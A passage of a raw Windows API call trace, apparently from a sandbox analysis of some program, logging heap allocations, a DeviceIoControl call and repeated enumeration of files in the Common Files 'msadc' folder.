dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0244.847] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x927e90 [0244.847] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x927e90, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x927e90, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.847] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.847] NtClose (Handle=0x1c0) returned 0x0 [0244.847] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.848] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0244.849] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.849] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0244.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9205b0 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925960 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9205d0 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9259e8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.850] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9205f0 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925af8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920610 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925b80 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.851] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0244.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.853] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.854] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.877] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.877] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.877] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.877] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0244.877] GetLastError () returned 0x12 [0244.877] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.877] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.877] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.877] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0244.877] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: 